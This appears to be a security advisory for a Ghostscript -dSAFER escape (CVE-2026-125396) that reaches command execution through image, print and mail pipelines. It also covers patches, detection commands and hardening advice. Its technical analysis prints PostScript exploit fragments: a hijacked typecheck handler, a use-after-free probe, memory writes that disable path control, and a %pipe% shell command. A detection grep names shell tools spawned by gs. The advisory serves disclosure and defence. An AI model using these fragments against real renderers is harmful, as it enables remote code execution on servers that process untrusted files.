high

CVE

CVE-2026-125396

CWE

CWE-416, CWE-648, CWE-693

Affected Surface

  • Artifex Ghostscript (`ghostpdl`) before 10.08.0, including copies bundled in container images, application bundles, conda-forge and Windows installers
  • Anything that renders untrusted files through Ghostscript: ImageMagick and PHP Imagick PostScript/EPS/PDF delegates, Pillow's EPS plugin (`Image.load()`, `crop()`, `thumbnail()`), imageio and scikit-image through Pillow, libvips builds with `magickload`, Qt KImageFormats EPS, Matplotlib, CUPS `gstopdf` filters, Paperless-ngx
  • Applications pwn.ai confirmed command execution in: Debian 13 CUPS shared queues, Roundcube 1.7.2, WordPress 7.0.2 with Forminator 1.55.1 or Essential Addons for Elementor Lite 6.7.0, WordPress Core before 7.0.4 for Author+ users, MediaWiki 1.46.0 with PdfHandler, DokuWiki with the ImageMagick backend, Mayan EDMS 4.11.5, ResourceSpace 11.0 and Plesk Obsidian 18.0.79's Roundcube
  • Distribution packages still unfixed on 23 November 2026: Red Hat Enterprise Linux 7, 8, 9 and 10 (Important, Affected), Amazon Linux (Pending Fix), several SUSE Linux Enterprise and openSUSE Leap 16 lines

TL;DR

Ghostscript runs PostScript, which is a full programming language, and its -dSAFER mode is the only thing stopping a document from opening files or starting programs. Upload2Shell breaks that mode. A helper in the Type 1 font loader, .putgstringcopy, calls the privileged .forceput operator after a copy that can fail. A document that registers its own typecheck handler, makes the copy fail, and returns from the handler with the right operands on the stack gets .forceput to store whatever it wants. Used across save/restore, that store leaves a global dictionary pointing at freed memory. pwn.ai’s Paulos Yibelo built native read/write on top of the dangling reference, zeroed Ghostscript’s path_control_active flag and ran shell commands through %pipe% with -dSAFER still on the command line.

The reach comes from everything that sits on top of Ghostscript. Pillow’s EPS plugin, ImageMagick (including PHP’s Imagick), libvips builds that use magickload, Qt’s KImageFormats and Matplotlib all start gs for EPS or PostScript content, and several of them look at the bytes, not the file name. On 21 November pwn.ai published the technical write-up and an index of about ten products where it ran commands: an anonymous IPP print job to a shared CUPS queue on Debian 13 (as lp), an email that Roundcube thumbnails as soon as the recipient opens it, public upload forms in the WordPress plugins Forminator and Essential Addons for Elementor, MediaWiki with PdfHandler, DokuWiki, Mayan EDMS, ResourceSpace, Plesk’s Roundcube, and Google’s image and document pipeline, which Google fixed on 10 November.

Artifex fixed the bug in Ghostscript 10.08.0 on 8 September 2026. VulnCheck published the CVE on 9 November with CVSS 4.0 8.5 and a local attack vector, which undersells the remote paths above. There’s no report of exploitation, the public proof of concept only swaps one arithmetic operator for another and puts it back, and EPSS is 0.0044. The patch gap is the problem: on 23 November Red Hat lists RHEL 7, 8, 9 and 10 as affected, Amazon Linux lists a pending fix, and Ubuntu’s CVE tracker still says “needs triage” even though USN-8949-1 shipped the fix in October.

What to do now:

  1. Update Ghostscript to 10.08.0, or to a distribution build with the fix (Debian 10.0.0~dfsg-11+deb12u9 and 10.05.1~dfsg-1+deb13u3, the USN-8949-1 packages on Ubuntu). Then rebuild container images. A host update doesn’t touch a copy of gs inside an image or an application bundle.
  2. Find the paths where user files reach Ghostscript: thumbnails, previews, PDF/A conversion, print queues, email attachment rendering. If you don’t need PostScript, EPS, PDF or XPS input, turn those coders off in ImageMagick’s policy.xml and stop Pillow from guessing formats.
  3. On RHEL, Amazon Linux and SUSE, where no fixed package exists yet, block PostScript-family formats before they reach the renderer and require authentication on CUPS queues.
  4. Run renderers as an unprivileged user under AppArmor, SELinux or a seccomp profile that can’t exec a shell. pwn.ai saw an enforced AppArmor profile stop the shell in its Plesk test.

Affected packages and projects

EcosystemPackageAffected versionsFixed or safe version
UpstreamArtifex Ghostscript (ghostpdl)All releases before 10.08.010.08.0 (8 September 2026)
Debianghostscriptbookworm 10.0.0~dfsg-11+deb12u8 and earlier; trixie before 10.05.1~dfsg-1+deb13u2bookworm 10.0.0~dfsg-11+deb12u9 (DLA-4914-1); trixie 10.05.1~dfsg-1+deb13u2, current +deb13u3 (DSA-6516-1); forky and sid 10.08.0~dfsg-2
UbuntughostscriptReleases before USN-8949-126.10 10.07.1~dfsg-1ubuntu2.1, 26.04 10.06.0~dfsg-3ubuntu1.2, 24.04 10.02.1~dfsg1-0ubuntu7.10, 22.04 9.55.0~dfsg1-0ubuntu5.15, older releases through Ubuntu Pro (USN-8949-1, 21 October 2026)
Red HatghostscriptRHEL 7, 8, 9, 10No fix on 23 November 2026 (Important)
Amazon LinuxghostscriptAmazon Linux 2, 2023Pending fix on 23 November 2026
SUSEghostscriptSLES 12 SP5 LTSS, several 15 SP4 to SP7 lines, SLES 16.0 and 16.1, openSUSE Leap 16.0 and 16.1In progress or affected per SUSE as of 12 November; Tumbleweed 10.08.0-5.1
OtherArch, Fedora 46, Gentoo, Alpine 3.23 to Edge, FreeBSD ports, pkgsrc, Homebrew, MacPorts, conda-forge, Chocolatey, MSYS2, CygwinBuilds before 10.08.010.08.0
WordPressWordPress Core7.0.0 to 7.0.3, 6.9.0 to 6.9.6 and older branches7.0.4 and 6.9.7 (CVE-2026-65640, 12 August 2026). This closes the Author+ upload route in Core, not the Ghostscript bug
PHPRoundcube WebmailReleases before the CVE-2026-114727 fixThe release that restricts attachment image types before ImageMagick conversion (CVE-2026-114727, 19 October 2026); update Ghostscript as well

Ubuntu’s USN went out before the CVE number existed and labels this fix “No CVE number”, which is why Ubuntu’s own CVE page for CVE-2026-125396 still says needs-triage. Ghostscript 10.08.0 also fixed CVE-2026-110133, CVE-2026-112922, CVE-2026-103226, CVE-2026-19547 and CVE-2026-39919, according to Artifex’s CVE page as quoted on oss-security. The release notes only say “a number of potential security issues”.

Technical analysis

How a .png upload ends up in Ghostscript

None of the applications in pwn.ai’s index call gs directly. They call an image library, and the library decides which decoder to use. pwn.ai traced 145 benign calls across 29 image APIs on Ubuntu 24.04 and found these routes:

LibraryCallWhat happened with EPS bytes
Pillow 13.0.0Image.open() then load(), crop() or thumbnail()Recognised EPS under any file name and started Ghostscript when pixels were needed. Image.open() on its own only identified the file
imageio 2.38.2, scikit-image 0.26.0imread()Reached Ghostscript through Pillow
PHP Imagick with ImageMagick 6.9.12-98readImage()ImageMagick picked PostScript from the content and delegated to Ghostscript
libvips 8.15.1 (pyvips, ruby-vips)new_from_file() plus pixel access, thumbnail()Went magickload to ImageMagick to Ghostscript; depends on installed loaders
Qt KImageFormats 5.115.0QImageReader.read()The EPS plugin started Ghostscript
Matplotlib 3.11.2matplotlib.image.imread()Only for files named .eps

PHP GD, OpenCV, prebuilt Sharp, Jimp, Java ImageIO and Go’s image decoders didn’t start Ghostscript for the same input. In Python, this is enough:

from PIL import Image

with Image.open(uploaded_file) as image:   # identifies the format from the bytes, not the name
    image.load()                           # EPS content: Pillow runs gs here

The bug in gs_fonts.ps

Ghostscript writes a good part of its font machinery in PostScript. .putgstringcopy stores a font’s file name (/PathLoad) into the font dictionary, and it needs .forceput to write into dictionaries ordinary code can’t touch. This is the helper as it shipped in 10.07.0 (gs_fonts.ps lines 1026 to 1035):

/.putgstringcopy  %   <dict> <name> <string> .putgstringcopy -
{ 2 index gcheck currentglobal          % is the dict global? save the current VM mode
  2 copy eq {
    pop pop .forceput                    % same VM space: store directly
  } executeonly {
    5 1 roll setglobal                   % switch VM mode to match the dict
    dup length string copy               % copy the string into that VM space: can raise typecheck
    .forceput setglobal                  % privileged store, then restore the VM mode
  } executeonly ifelse
} .forcebind odef % must be bound and hidden for .forceput

executeonly and .forcebind stop a document from reading the procedure or calling .forceput itself. They don’t stop the procedure from failing halfway. The loader calls it with dup /PathLoad 4 index //.putgstringcopy after a font file loads, and the font file runs code while that’s on the stack.

pwn.ai’s font replaced the file name string with a local array. length and string worked on the array, copy raised typecheck because its source wasn’t a string, and Ghostscript called the document’s own handler:

/LoaderOriginalTypecheck errordict /typecheck get def
errordict /typecheck {
  userdict /LoaderTrapPhase known
  { userdict /LoaderTrapPhase get } { false } ifelse
  {
    userdict /LoaderTrapPhase false put
    pop pop pop pop pop          % drop copy's operands, the new string, the swapped filename, /PathLoad, the font dict
    userdict /ForceTarget get    % leaves the saved VM-mode boolean underneath, then pushes:
    userdict /ForceKey get       %   dict, key, value of the attacker's choice
    userdict /ForceValue get
  } { LoaderOriginalTypecheck } ifelse
} bind put

When the handler returns, execution continues at the next token of the bound helper, which is .forceput. It consumes the attacker’s dictionary, key and value, and setglobal consumes the boolean. The document never names .forceput.

From a protected store to a use-after-free

Artifex has fixed several “recover .forceput” bugs before. What makes this one worse is how .forceput works in psi/zgeneric.c: while it stores, it treats systemdict as local, so a local object passes the store check and ends up referenced from a dictionary that survives restore. The write-up’s probe:

/AttackSave save def
userdict /ForceValue 8 array put                      % a local array
userdict /ForceValue get 0 31337 put
{ /GSLoaderProbe findfont pop } stopped pop           % font load triggers the recovered .forceput into systemdict
AttackSave restore                                    % frees the local array; systemdict still points at it
8 array userdict exch /Replacement exch put           % new allocation can land in the freed slot
userdict /Replacement get 0 4242 put
systemdict /GS_FORCEPUT_DANGLING_ARRAY get 1 5151 put % write through the stale reference
userdict /Replacement get 1 get ==                    % prints 5151 when the two overlap

The full exploit does the same with a dangling 2,048-byte string over arrays of 0x12345678 integers, flips one marker byte to find the overlapping slot, and then turns a live ref (16 bytes on x86-64: type and size, then a value or pointer) into a string view over any pointer it reads. From currentdevice it walks Ghostscript’s own structures to gs_lib_ctx_core_t and clears the four bytes of path_control_active at offset 156:

Target 156 0 put
Target 157 0 put
Target 158 0 put
Target 159 0 put

Two more gates stood in the way of %pipe%. The exploit used .forceput again to set PermitFileWriting to [ (*) ] and to clear LockFilePermissions, then synchronised the cached value with save/restore. After that, the Debian print job ran:

{ (%pipe%printf POST_SAFER_UAF_PIPE_RCE > /var/tmp/GS_CUPS_PIPE_RCE) (w) file closefile } stopped

The marker file appeared on the print server, written as uid=7(lp). The published proof file (poc-native-write.pdf) is narrower: it replaces the eight pointer bytes in the live mul operator with those of sub, calls it once, and copies the original 16 bytes back, so 29 11 mul gives 319 before and after. On a 10.08.0 build the dangling-reference lookup fails before the pointer write. It doesn’t run a command or touch the file system.

The fix

The fix in 10.08.0 (1484854e0c8d, authored 2 September by Ken Sharp, committed 7 September) checks operand types before anything can fail, so the copy never raises an error that a document could catch:

 /.putgstringcopy  %   <dict> <name> <string> .putgstringcopy -
-{ 2 index gcheck currentglobal
-  2 copy eq {
-    pop pop .forceput
-  } executeonly {
-    5 1 roll setglobal
-    dup length string copy
-    .forceput setglobal
-  } executeonly ifelse
+{
+  % Check operand types
+  dup type /stringtype eq 2 index type /nametype eq and 3 index type /dicttype eq and {
+    2 index gcheck currentglobal
+    2 copy eq {
+      pop pop .forceput
+    } executeonly {
+      5 1 roll setglobal
+      dup length string copy
+      .forceput setglobal
+    } executeonly ifelse
+  }
+  {
+      /.putgstringcopy cvx /typecheck signalerror
+  } ifelse
 } .forcebind odef % must be bound and hidden for .forceput

The commit message is blunt about the wider problem: “We are in the process of eliminating, or at least absolutely minimising, the use of .forceput… it isn’t easy to undo 30 years worth of assumptions in the code.” A follow-up, e0421767e136 (10 September), moves .putgstringcopy into C as zputgstringcopy(), which checks t_string, t_name and t_dictionary up front and calls dict_put() directly, with no .forceput involved. That commit came after the 10.08.0 tag, so 10.08.0 has the operand check, not the C rewrite.

pwn.ai says it found “several independent bugs” in Ghostscript and that some are still being fixed. The Dropbox finding and the redacted production findings in its index have different root causes from this one and haven’t been published.

IOCs

There’s no exploitation in the wild to pull indicators from. These are the artifacts from pwn.ai’s proofs, useful for testing detections:

  • Marker file /var/tmp/GS_CUPS_PIPE_RCE containing POST_SAFER_UAF_PIPE_RCE (Debian CUPS proof)
  • PostScript markers in a document: LoaderTrapPhase, ForceTarget, ForceKey, ForceValue, GS_FORCEPUT_DANGLING_ARRAY, GSLoaderProbe
  • A document that redefines errordict /typecheck, calls findfont inside save … restore, and opens %pipe% or %ram%
  • Roundcube proof: an attachment declared image/jpeg, named quarterly-results.jpg, whose bytes are PostScript

Detection and remediation

Find Ghostscript and its version on hosts and in images:

gs --version 2>/dev/null                       # anything below 10.08.0 needs a distro backport to be safe
dpkg -l ghostscript libgs10 2>/dev/null | grep ^ii
rpm -q ghostscript libgs 2>/dev/null
apk info -v ghostscript 2>/dev/null

# Container images: check every image that does previews, thumbnails or PDF work
docker run --rm --entrypoint sh <image> -c 'command -v gs && gs --version; ls /usr/lib/*/libgs.so* 2>/dev/null'

# Debian: confirm the package carries the fix
apt changelog ghostscript 2>/dev/null | grep -m3 -E 'CVE-2026-125396|putgstringcopy|709684'

Find code that hands user files to a Ghostscript-backed decoder:

rg -n --type py 'Image\.open\(|imageio.*imread|skimage\.io\.imread|pyvips\.Image\.(new_from_file|thumbnail)'
rg -n --type php 'new\s+Imagick|->readImage\(|->readImageBlob\(|wp_generate_attachment_metadata'
rg -n 'gs\s+-dSAFER|ghostscript|-sDEVICE=' --glob '!node_modules'

Turn off PostScript-family coders in ImageMagick if you don’t need them (/etc/ImageMagick-6/policy.xml or /etc/ImageMagick-7/policy.xml):

<policy domain="delegate" rights="none" pattern="gs" />
<policy domain="module" rights="none" pattern="{PS,PS2,PS3,EPS,EPI,EPSI,EPSF,EPT,PDF,XPS}" />

In Pillow, tell Image.open() which formats you accept so it can’t fall through to EPS:

Image.open(uploaded_file, formats=["PNG", "JPEG", "WEBP", "GIF"])

Look for proof-style documents in upload directories and spools:

grep -rlaE 'errordict */typecheck|GS_FORCEPUT|%pipe%' /var/spool/cups /var/www/*/uploads /srv 2>/dev/null
grep -E 'gs(c|wrap)?\[[0-9]+\].*(sh|bash|curl|wget)' /var/log/audit/audit.log 2>/dev/null   # gs spawning a shell

Lock down the rest of the route: require authentication on shared CUPS queues (<Policy default> with AuthType Default in cupsd.conf), update WordPress to 7.0.4 or 6.9.7, and update Roundcube to a release with the CVE-2026-114727 fix. If you find evidence a renderer ran attacker code, rotate whatever its account could read: application database credentials in config files, API keys in the environment, and mail or storage credentials on Roundcube and Mayan EDMS workers.

Timeline

  • 2026-07-27: pwn.ai finds the Type 1 font-loader escape from -dSAFER.
  • By 2026-07-30: pwn.ai sends Google a proof that reached Ghostscript 10.05.0 in Google’s image and document pipeline from a signed-out request.
  • 2026-08-12: WordPress 7.0.4 fixes the Core upload route (CVE-2026-65640).
  • 2026-09-02: Artifex Bug 709684 filed; Ken Sharp writes the operand-check fix.
  • 2026-09-07: The fix is committed (1484854e0c8d).
  • 2026-09-08: Ghostscript 10.08.0 is released.
  • 2026-09-10: .putgstringcopy is reimplemented in C (e0421767e136).
  • 2026-09-12: 10.08.0 enters Debian unstable.
  • 2026-09-17 to 2026-09-18: pwn.ai reports working chains to Debian, Roundcube, WebPros (Plesk), the Forminator and Essential Addons teams, Mayan EDMS, DokuWiki and Wikimedia.
  • 2026-09-25: Debian ships the first trixie security update. pwn.ai posts a public teaser naming affected products.
  • 2026-10-10: Debian publishes 10.05.1~dfsg-1+deb13u3.
  • 2026-10-19: Roundcube restricts attachment image types before ImageMagick conversion (CVE-2026-114727).
  • 2026-10-21: Ubuntu publishes USN-8949-1 for seven releases, without a CVE number.
  • 2026-11-09: VulnCheck publishes CVE-2026-125396 (CVSS 4.0 8.5).
  • 2026-11-10: Google mitigates its production path.
  • 2026-11-21: pwn.ai publishes the technical write-up. Alan Coopersmith posts the CVE list for 10.08.0 to oss-security.
  • 2026-11-22: The Hacker News and Cyber Kendra cover the research.
  • 2026-11-23: Debian bookworm is fixed (DLA-4914-1). RHEL 7 to 10 are still listed as affected and Amazon Linux as pending. EPSS is 0.0044; no exploitation reported and no CISA KEV entry.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References